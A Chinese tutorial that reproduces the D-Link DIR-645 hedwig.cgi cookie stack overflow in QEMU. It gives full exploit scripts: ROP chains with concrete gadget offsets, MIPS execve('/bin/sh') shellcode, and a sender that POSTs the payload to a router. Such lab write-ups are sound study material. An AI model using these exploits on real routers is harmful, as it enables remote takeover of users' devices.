前言
分析一个D-Link的漏洞学习一下路由器漏洞方面的知识,《路由器0day》这本书提到的DIR-815 cookie溢出漏洞的固件在官网上已经找不到了,但是此漏洞影响的范围包括了DIR-645,故用DIR-645 1.01版本的固件分析
分析用到的工具:
IDA Pro:反汇编和远程调试
Ghidra 9.1.2:我的IDA不能生成mips的伪代码,所以我用ghidra来看伪代码
Ubuntu + qemu:模拟路由器运行环境
固件下载链接:ftp://ftp2.dlink.com/PRODUCTS/DIR-645/REVA/DIR-645_FIRMWARE_1.01.ZIP
使用如下命令将文件系统提取出来:
binwalk -e DIR645A1_FW101B06.bin
从书中得知漏洞存在于./htdocs/cgibin中,将cgibin拷贝到物理机中,使用IDA分析,shift+F12打开字符串窗口,搜索“HTTP_COOKIE”
双击这一项,定位到rodata段查看详细信息,选中aHttpCookie,按X键查看调用信息(ghidra则是选中函数名,右键->References->find References to #function name#)
双击后进入sess_get_uid函数,此函数只是使用了“HTTP_COOKIE”字符串,继续按X键查看调用信息
双击进入hedwigcgi_main函数,看到调用sess_get_uid函数之后紧接着调用了sprintf函数(PS:之所以用sprintf而不是strcpy是因为strcpy只能是字符串到字符串,而sprintf可以是从任意类型到字符串),而sprintf函数就是导致栈溢出的重要函数;接下来需要用IDA进行远程调试,调试之前需要对书中自带的脚本进行一些修改,修改后如下:
#!/bin/bash
#sudo ./pentest_cgi.sh 'uid=1234' `python -c "print 'uid=123'+'A'*0x600"`
INPUT="$1"
TEST="$2"
LEN=$(echo -n "$INPUT" | wc -c)
PORT="1234"
if [ "$LEN" == "0" ] || [ "$INPUT" == "-h" ] || [ "$UID" != "0" ]
then
echo -e "\nUsage: sudo $0 \n"
exit 1
fi
#需要将qemu-mipsel改成qemu-mipsel-static
cp $(which qemu-mipsel-static) ./qemu
echo "$INPUT" | chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=$TEST -E REQUEST_URI="/hedwig.cgi" -E REMOTE_ADDR="192.168.1.1" -g $PORT /htdocs/web/hedwig.cgi
echo 'run ok'
rm -f ./qemu
使用第二行注释中的命令运行脚本,开启远程调试,接下来会详细讲解如何用IDA远程调试DIR-645路由器固件(主要是本人使用IDA时花一天才解决此问题o(╥﹏╥)o);首先用IDA打开cgibin文件,并定位到上面讲的sprintf函数(注意是“jalr $t9 ; sprintf”那一行),然后F2下断点
然后在Ubuntu中运行pentest_cgi.sh脚本(运行命令在文件的第二行注释),并等待调试
在IDA中选择Debugger->select Debugger…在对话框中选择GDB debugger然后点击OK
重新选择Debugger->Process options… 输入远程路径、hostname和端口,然后单击OK
最后点击Debugger->Attach to process… 我的选择框中只有一项,所以就选这一项,然后单击OK
附加成功后无需再下断点,直接按F9就可以停在调用sprintf函数的位置上
在Hex View窗口右键Synchronize with -> SP,这样窗口就会跟着程序走了,方便观察栈溢出
修改pentest_cgi.sh然后配合patternLocOffset.py算出溢出位置,修改后的pentest_cgi.sh代码如下:
# !/bin/bash
#
# 载入定位字符串,设置环境变量,模拟真实的运行环境,IDA远程调试执行
#
# hedwig.cgi -> /htdocs/cgibin
TEST=$(python2.7 -c "print'uid='+open('dir645_patternLocOffset_test','r').read()")
echo $TEST
LEN=$(echo -n $TEST|wc -c)
echo $LEN
sudo cp $(which qemu-mipsel-static) ./
sudo chroot $PWD /qemu-mipsel-static -E CONTENT_TYPE="application/x-www-form-urlencoded" -E HTTP_COOKIE=$TEST -E CONTENT_LENGTH=$LEN -E REQUEST_URI="/hedwig.cgi" -E REQUEST_METHOD="POST" -E REMOTE_ADDR="192.168.80.133" -g 1234 /htdocs/web/hedwig.cgi
这个pentest_cgi.sh脚本在之后漏洞利用测试的时候也会用到
使用patternLocOffset.py测试固件溢出位置,命令如下:
python2.7 ./patternLocOffset.py -c -l 2000 -f dir645_patternLocOffset_test
直接执行pentest_cgi.sh,并且用IDA附加调试,得到溢出的偏移
将程序报错时显示的字符串带入patternLocOffset工具中,得出偏移位置
查找ROP链时需要用到mipsrop插件,这个插件对IDA7的支持不好,需要用到IDA68,使用时将GitHub上下载的ida工程中的shims和mipsrop两个文件夹下的py文件全都复制到IDA的plugin目录中
在IDA68中输入命令:mipsrop.stackfinder()
得到以下可做ROP的地址,选择0x159cc
IDA中的mipsrop只是得到ROP的偏移,还需要找到libc.so.0的基地址,
使用qemu模拟mips系统运行时需要先解决网络问题,否则无法传文件;有两种方法,其中一种是修改/etc/network/interfaces文件,这种方法我始终无法成功,所以我选择创建网桥的方法,命令如下:
创建网桥:
sudo brctl addbr virbr0
sudo ifconfig virbr0 192.168.122.1/24 up
创建tap接口,并添加到网桥:
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.122.11/24 up
sudo brctl addif virbr0 tap0
使用命令,启动镜像:
qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=ttyS0" -net nic,macaddr=00:0c:29:d4:72:11 -net tap -nographic
进入虚拟机(虚拟机账号/密码:root/root)后需要设置IP,这一步并不是必须的,例如我并没有设置IP就直接可以联网了:
ifconfig eth0 192.168.122.12/24 up
我在没有设置IP的情况下直接ping www.baidu.com可以ping通
接下来需要用scp命令把路由器的所有文件从Ubuntu中复制到Debian中,命令如下(IP改成自己的Debian的IP):
scp -r ./squashfs-root root@192.168.254.132:/root/
运行漏洞代码前先将ASLR关闭
echo 0 > /proc/sys/kernel/randomize_va_space
第一个看似libc.so.0的基地址,实则并不是,有前辈分析此漏洞时使用这种方法成功找到过libc基址,但是我始终无法成功,所以我采用第二种方法
第二种方法是使用qemu的用户模式调试,需要注意的是这种调试方式当qemu-user版本过低时,使用gdb远程调试会出现如下问题
qemu:handle_cpu_signal received signal outside vCPU context @ pc=0x601665d2
此时gdb会显示这是一个bug,并要求你上报
这个错误其实是qemu的一个bug,Ubuntu18.04适配的是2.11.1版本的qemu,此时需要将qemu升级到4.2以上的版本,有两种方法:
1、在GitHub上下载源码,并编译
2、使用Ubuntu20.04及以上版本下载qemu,因为Ubuntu20.04适配的就是qemu 4.2
我选择的是使用Ubuntu20.04运行qemu调试,而Ubuntu20.04是个大坑;首先Ubuntu20.04的源仓库中并没有包含Python2的pip,所以需要使用get-pip.py来安装pip2:
apt-get install python2
curl https://bootstrap.pypa.io/get-pip.py --output get-pip.py
python2 get-pip.py
使用GitHub或者apt安装好binwalk后使用binwalk提取固件,可能会报此错误
需要手动安装一下sasquatch,命令如下:
sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev
git clone https://github.com/devttys0/sasquatch
cd sasquatch && ./build.sh
当一切就绪时,运行pentest_cgi.sh脚本,然后使用gdb远程调试
gdb-multiarch ./htdocs/cgibin
set arch mips
set endian big
target remote 192.168.80.133:1234
使用之前获得的libc基址+偏移构造ROP链,poc代码如下:
# coding:utf-8
import sys
import time
import string
import socket
from random import Random
import urllib, urllib2, httplib
class MIPSPayload:
BADBYTES=[0x00]
LITTLE = "little"
BIG = 'big'
FILLER = 'A'
BYTES = 4
def __init__(self,libase=0, endianess=LITTLE, badbytes=BADBYTES):
self.libase = libase
self.shellcode = ""
self.endianess = endianess
self.badbytes = badbytes
def rand_text(self, size):
str = ''
chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789'
length = len(chars) - 1
random = Random()
for i in range(size):
str += chars[random.randint(0,length)]
return str
def Add(self, data):
self.shellcode += data
# get RA addr
def Address(self, offset, base=None):
if base is None:
base = self.libase
return self.ToString(base + offset)
def AddAddress(self, offset, base=None):
self.Add(self.Address(offset, base))
def AddBuffer(self,size, byte=FILLER):
self.Add(byte * size)
def AddNops(self, size):
if self.endianess == self.LITTLE:
self.Add(self.rand_text(size))
else:
self.Add(self.rand_text(size))
def ToString(self,value, size= BYTES):
data =''
for i in range(0, size):
data += chr((value >> (8*i)) & 0xFF)
if self.endianess != self.LITTLE:
data = data[::-1]
return data
def Build(self):
count = 0
for c in self.shellcode:
for cbyte in self.badbytes:
if c == chr(cbyte):
raise Exception("Bad byte found in shellcode at offset %d: 0x%.2x"%(count,cbyte))
count +=1
return self.shellcode
def Print(self, bp1=BYTES):
i = 0
for c in self.shellcode:
if i == 4:
print ""
i = 0
sys.stdout.write("\\x%.2X"%ord(c))
sys.stdout.flush()
if bp1 > 0:
i += 1
print "\n"
class HTTP:
HTTP = 'http'
def __init__(self, host, proto=HTTP, verbose=False):
self.host = host
self.proto = proto
self.verbose = verbose
self.encode_params = True
def Encode(self, data):
#just for DIR645
if type(data) == dict:
pdata =[]
for k in data.keys():
pdata.append(k + '=' + data[k])
data = pdata[1] + '&' + pdata[0]
else:
data = urllib.quote_plus(data)
return data
def Send(self, uri='', headers={}, data=None, response=False, encode_params=True):
html = ""
if uri.startswith('/'):
c = ''
else:
c = '/'
url = '%s://%s'%(self.proto, self.host)
uri = '/%s'%uri
if data is not None:
data = self.Encode(data)
#print data
if self.verbose:
print url
httpcli = httplib.HTTPConnection(self.host, 80, timeout=30)
httpcli.request('POST', uri, data, headers=headers)
response=httpcli.getresponse()
print response.status
print response.read()
if __name__ == '__main__':
libc = 0x7f738000 #0x40854000
'''
ROP
$ra = 0x77f34000 + 0x000158C8
*************************************************
$s5 = 0x77f34000 + 0x159cc
$s0 = 0x77f34000 + 0x531FF
0x158c8:
.text:000158C8 move $t9, $s5
.text:000158CC jalr $t9
.text:000158D0 addiu $s0, 1
*************************************************
$s0 = 0x77F87200 :system
$s5 = commandAddr = $sp+0x10
0x159cc:
.text:000159CC addiu $s5, $sp, 0x10
.text:000159D0 move $a1, $s3
.text:000159D4 move $a2, $s1
.text:000159D8 move $t9, $s0
.text:000159DC jalr $t9 ; mempcpy
'''
target = {
"645-1.01":[0x531ff, 0x158c8, 0x159cc],
}
v = '645-1.01'
cmd = '/bin/sh'
ip = '192.168.0.1'
payload = MIPSPayload(endianess="little", badbytes=[0x0d, 0x0a])
payload.AddBuffer(1007) #filler
payload.AddAddress(target[v][0], base=libc) #$s0 0x77f34000 + 0x531ff
payload.AddBuffer(4) #$s1
payload.AddBuffer(4) #$s2
payload.AddBuffer(4) #$s3
payload.AddBuffer(4) #$s4
payload.AddAddress(target[v][2], base=libc) #$s5 # 0x77f34000 +0x159cc
payload.AddBuffer(4) #unused($s6)
payload.AddBuffer(4) #unused($s7)
#payload.Add(payload.ToString(0x0043B6D0))
payload.AddBuffer(4) #unused($gp)
# 1043
payload.AddAddress(target[v][1], base=libc) #$ra # 0x77f34000 +0x158c8= 0x77F498C8
payload.AddBuffer(4) # fill
payload.AddBuffer(4) # fill
payload.AddBuffer(4) # fill
payload.AddBuffer(4) # fill
payload.Add(cmd) # shellcode
pdata = {
'uid':'shuidi',
'password':'shuidi',
}
print payload.shellcode
payload = payload.Build()
print payload
fw = open('dir645_patternLocOffset_test', 'w')
fw.write(payload) # 'A'
fw.close()
'''
header = {
'Cookie' : 'uid='+payload.Build(),
'Accept-Encoding' : 'gzip, deflate',
'Content-Type' : 'application/x-www-form-urlencoded',
'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)'
}
try:
HTTP(ip).Send('hedwig.cgi',data=pdata, headers=header, encode_params=False,response=True)
except httplib.BadStatusLine:
print "Payload deliverd."
except Exception,e:
print "2Payload delivery failed: %s" % str(e)
'''
以上是《路由器0day》一书中的原版poc脚本,接下来是简单版本的poc脚本:
from pwn import *
context.endian = "little"
context.arch = "mips"
base_addr = 0x7f738000
system_addr_1 = 0x53200-1
gadget1 = 0x45988
gadget2 = 0x159cc
padding = 'A' * 0x3cd
padding += p32(base_addr + system_addr_1) # s0
padding += p32(base_addr + gadget2) # s1
padding += 'A' * 4 # s2
padding += 'A' * 4 # s3
padding += 'A' * 4 # s4
padding += 'A' * 4 # s5
padding += 'A' * 4 # s6
padding += 'A' * 4 # s7
padding += 'A' * 4 # fp
padding += p32(base_addr + gadget1) # ra
padding += 'B' * 0x10
padding += '/bin//sh'
f = open("exploit",'wb+')
f.write(padding)
f.close()
运行脚本,将payload打印到之前用patternLocOffset.py创建的文件dir645_patternLocOffset_test中,然后运行pentest_cgi.sh,启动远程调试
在system执行时发生了中断,当前指令是想从(fp+0x10)处取一个字节给$gp,但是fp是空指针,所以(fp+0x10)并不存在,所以会直接报错
至此我不得不采用另一种方法:编写shellcode从而获得shell;此种方法需要了解一些mips的缓存机制;mips的CPU有两个独立的cache:指令cache和数据cache;具体细节无需过多的纠结,我们只需要知道不能让shellcode写入到数据cache中,所以我们需要让缓存在写shellcode之前先满一次,缓存满了就会触发flush,然后将shellcode写到主内存中;
最简单的让缓存数据写入内存的方法是调用堵塞函数,例如sleep()函数,整个rop的流程图如下
图中的mipsrop就是IDA插件中mipsrop的命令,可以直接使用
此处gadget可以直接跳转至s1处的地址,但是不能直接将sleep()函数的地址放到s1中,因为sleep()函数在最后会执行“jr $ra”,而“ra”寄存器我们无法控制,所以还需要再找一个gadget控制“ra”寄存器
此gadget将“$sp+0x28”处的地址给“ra”,这就使sleep()在最后变得可控,同时此gadget最后会跳转到“$s2”处的地址,可以将sleep()函数的地址放到“s2”寄存器中,sleep()函数的偏移是0x56bd0
使用“mipsrop.stackfinder()”命令寻找一个可以存放shellcode的位置,并且还会跳转到“s4”的位置;最后需要找一个能跳转到“s1”寄存器的gadget
在寻找gadget是需要注意不能出现:0x20(空格)、0x00(结束符)、0x3a(冒号)、0x3f(问号)、0x3b(分号)、0x0a(n换行符)等
找到gadget后就是shellcode的编写,pwntools提供了一个非常好用的asm()函数,不过原版的pwntools并不能直接编译mips的汇编,需要安装mipsel的binutils,
安装mipsel的binutils命令如下:
apt-get install binutils-mipsel-linux-gnu
安装完成后直接打开Python2,输入以下命令就行了:
>>> from pwn import *
>>> context.arch='mips'
>>> asm("slti $a2, $zero, -1")
'\xff\xff\x06('
输出的十六进制代码有三个字节外加一个括号,但当我们执行如下命令就会发现其实不影响执行
>>> b'\xff\xff\x06\x28'=='\xff\xff\x06('
True
最终的poc脚本如下:
from pwn import *
context.endian="little"
context.arch="mips"
libc_base = 0x7f738000
sleep = 0x56BD0
gadget1 = 0x57E50
gadget2 = 0x3B8A8
gadget3 = 0x14F28
gadget4 = 0x1DD08
# Linux/MIPS - execve /bin/sh - 48 bytes
shellcode = "\xff\xff\x06\x28" # slti $a2, $zero, -1
shellcode += "\x62\x69\x0f\x3c" # lui $t7, 0x6962
shellcode += "\x2f\x2f\xef\x35" # ori $t7, $t7, 0x2f2f
shellcode += "\xf4\xff\xaf\xaf" # sw $t7, -0xc($sp)
shellcode += "\x73\x68\x0e\x3c" # lui $t6, 0x6873
shellcode += "\x6e\x2f\xce\x35" # ori $t6, $t6, 0x2f6e
shellcode += "\xf8\xff\xae\xaf" # sw $t6, -8($sp)
shellcode += "\xfc\xff\xa0\xaf" # sw $zero, -4($sp)
shellcode += "\xf4\xff\xa4\x27" # addiu $a0, $sp, -0xc
shellcode += "\xff\xff\x05\x28" # slti $a1, $zero, -1
shellcode += "\xab\x0f\x02\x24" # addiu;$v0, $zero, 0xfab
shellcode += "\x0c\x01\x01\x01" # syscall 0x40404
payload = 'A' * 0x3ef #1043-4*9
payload += 'A' * 4 # s0
payload += p32(libc_base + gadget2) # s1 = mipsrop.tail() && move $ra,$(sp+0x24) && jr s2
payload += p32(libc_base + sleep) # s2 = jr $(sp+0x24)
payload += 'A' * 4 # s3
payload += p32(libc_base + gadget4) # s4 = mipsrop.find("move $t9,$s1") && jr shellcode
payload += 'A' * 4 # s5
payload += 'A' * 4 # s6
payload += 'A' * 4 # s7
payload += 'A' * 4 # fp
payload += p32(libc_base + gadget1) # fisrt_ra = mipsrop.find("li $a0,1") && jr s1
payload += 'B' * 0x24 # mipsrop.tail() 0x24B padding
payload += p32(libc_base + gadget3) # $(sp+0x24) = mipsrop.stackfinder() && move s1,$(sp+0x18) && jr $s4
payload += 'c' * 0x18 # mipsrop.stackfinder() 0x18B padding
payload += shellcode
f = open("exploit",'wb+')
f.write(payload)
f.close()
使用Python2执行此脚本后,会将整个rop链+shellcode写入exploit文件中,然后将pentest_cgi.sh修改为读取exploit:
# !/bin/bash
#
# 载入定位字符串,设置环境变量,模拟真实的运行环境,IDA远程调试执行
#
# hedwig.cgi -> /htdocs/cgibin
TEST=$(python2.7 -c "print'uid='+open('exploit','r').read()")
echo $TEST
LEN=$(echo -n $TEST|wc -c)
echo $LEN
sudo cp $(which qemu-mipsel-static) ./
sudo chroot $PWD ./qemu-mipsel-static -E CONTENT_TYPE="application/x-www-form-urlencoded" -E HTTP_COOKIE=$TEST -E CONTENT_LENGTH=$LEN -E REQUEST_URI="/hedwig.cgi" -E REQUEST_METHOD="POST" -E REMOTE_ADDR="192.168.80.128" -g 1234 /htdocs/web/hedwig.cgi
在运行pentest_cgi.sh脚本之前记得将脚本中的IP地址修改为本机的IP;
运行pentest_cgi.sh脚本,然后用gdb远程调试,进入gdb后直接在sleep函数下断,然后一直步过(“ni”),当sleep函数运行完成后就会执行shellcode,最后执行完syscall后就能得到shell了
结束语
虽然成功的截图只是简单的两张图片,但是调试+环境搭建的过程却是漫长的过程,在教程中我能成功的方法有前辈无法成功,为了避免再次给后人挖坑,我还会做一篇使用qemu的系统模式复现此漏洞的教程(具体做不做看心情 ╮(╯▽╰)╭)
为了方便大家分析,我将我用到的工具通过百度网盘分享
Ubuntu的下载:
链接:https://pan.baidu.com/s/1s-6nLu_mWDsK2BtiVnQNaQ
提取码:gb39
路由器固件(dir-645_FW_1.01):
链接:https://pan.baidu.com/s/19v7Wbsx2A3PaeusvKq6HzQ
提取码:sf99
路由器固件(dir-645_FW_1.03):
链接:https://pan.baidu.com/s/1r7qT0pBB8L3mu42FCKXqVw
提取码:yw0f
IDA6.8:
链接:https://pan.baidu.com/s/15QPcpWfQUBv_Bp7VnSs65Q
提取码:al6w
IDA7.0:
链接:https://pan.baidu.com/s/1XPIaVcb_YB6xaio2H2_jeA
提取码:1knk
mipsrop插件:
链接:https://pan.baidu.com/s/1sWjzPwSqSBDPEzDAZsQQyg
提取码:xwu6
qemu系统模式需要用到的mipsel版本的Debian:
链接:https://pan.baidu.com/s/1rCMM4s3OqShskfUs0NW9lA
提取码:nvnw
参考此漏洞复现教程:
https://www.anquanke.com/post/id/206626#h2-13
https://www.anquanke.com/post/id/179510#h3-6
https://mp.weixin.qq.com/s/gpVMcPjfP2HDZisZhy0fig
还有许多教程的链接我已经找不到了,在此一并感谢!!
感谢胡一米版主的耐心指导!!
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法
最后于 2020-11-25 16:24
被pureGavin编辑
,原因: 修改内容